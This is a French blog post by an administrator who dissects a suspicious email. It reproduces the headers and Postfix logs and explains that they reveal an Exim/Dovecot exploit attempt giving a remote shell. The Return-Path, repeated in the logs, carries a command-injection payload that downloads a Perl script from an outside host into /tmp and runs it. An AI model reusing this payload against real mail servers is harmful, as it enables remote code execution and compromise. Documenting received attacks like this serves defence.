exploit exim/dovecot

En regardant mes mails ce matin, je suis tombé sur un email bizarre: pas d’expéditeur, pas de sujet, pas de date, et juste un «x» dans le corps du message. Du coup, j’ai regardé ce qu’il y avait vraiment dedans:

Return-Path: <x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}radioactivefrog.com/.x/exim.txt``perl${IFS}/tmp/p.pl`@blaat.com>
Delivered-To: XXXX@YYYY.ZZZZ
Received: by XXXX (Postfix)
    id DFDE128000; Wed, 19 Jun 2013 00:22:35 +0200 (CEST)
Delivered-To: postmaster@localhost
Received: from localhost (localhost.localdomain [127.0.0.1])
    by XXXX (Postfix) with ESMTP id 88FEE2800E
    for <postmaster@localhost>; Wed, 19 Jun 2013 00:22:30 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at XXXX
X-Amavis-Alert: BAD HEADER SECTION, Missing required header field: "Date"
Received: from XXXX ([127.0.0.1])
    by localhost (XXXX [127.0.0.1]) (amavisd-new, port 10024)
    with ESMTP id nKiVoAlmfbvy for <postmaster@localhost>;
    Wed, 19 Jun 2013 00:22:28 +0200 (CEST)
Received: from domain.local (newpress.com.br [64.34.161.112])
    by XXXX (Postfix) with ESMTP id 4C13328000
    for <postmaster@localhost>; Wed, 19 Jun 2013 00:22:23 +0200 (CEST)
X-DKIM: Sendmail DKIM Filter v2.8.2 XXXX 4C13328000

x

Et là, comme moi, vous tiltez sur le Return-Path tout bizarre…

Dans les logs de postfix, on trouve ça:

Jun 19 00:22:35 XXXX postfix/cleanup[12619]: DFDE128000: message-id=<>
Jun 19 00:22:40 XXXX postfix/qmgr[11385]: DFDE128000: from=<x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}radioactivefrog.com/.x/exim.txt``perl${IFS}/tmp/p.pl`@blaat.com>, size=1012, nrcpt=1 (queue active)
Jun 19 00:22:40 XXXX postfix/local[12626]: 88FEE2800E: to=<postmaster@localhost>, relay=local, delay=9.7, delays=5.2/0.16/0/4.3, dsn=2.0.0, status=sent (forwarded as DFDE128000)
Jun 19 00:23:17 XXXX postfix/pipe[12627]: DFDE128000: to=<XXXX@YYYY.ZZZZ>, orig_to=<postmaster@localhost>, relay=dovecot, delay=41, delays=4.3/0.3/0/36, dsn=2.0.0, status=sent (delivered via dovecot service)
Jun 19 00:23:17 XXXX postfix/qmgr[11385]: DFDE128000: removed

Après une petite recherche rapide sur Google… Je suis tombé sur un post () qui m’a permis de rebondir puis et donc de découvrir qu’il s’agit d’un exploit (récent) d’Exim qui se base sur une faille dans Dovecot.

Pour faire simple, le bazar permet de récupérer un shell distant sur la machine attaquée. Si elle est mal configurée/protégée, il n’est plus très compliqué de récupérer un accès root (avec l’exploit kernel dont il est question par exemple).

Et cerise sur le gâteau: le bazar est connu, mais pas encore corrigé 😉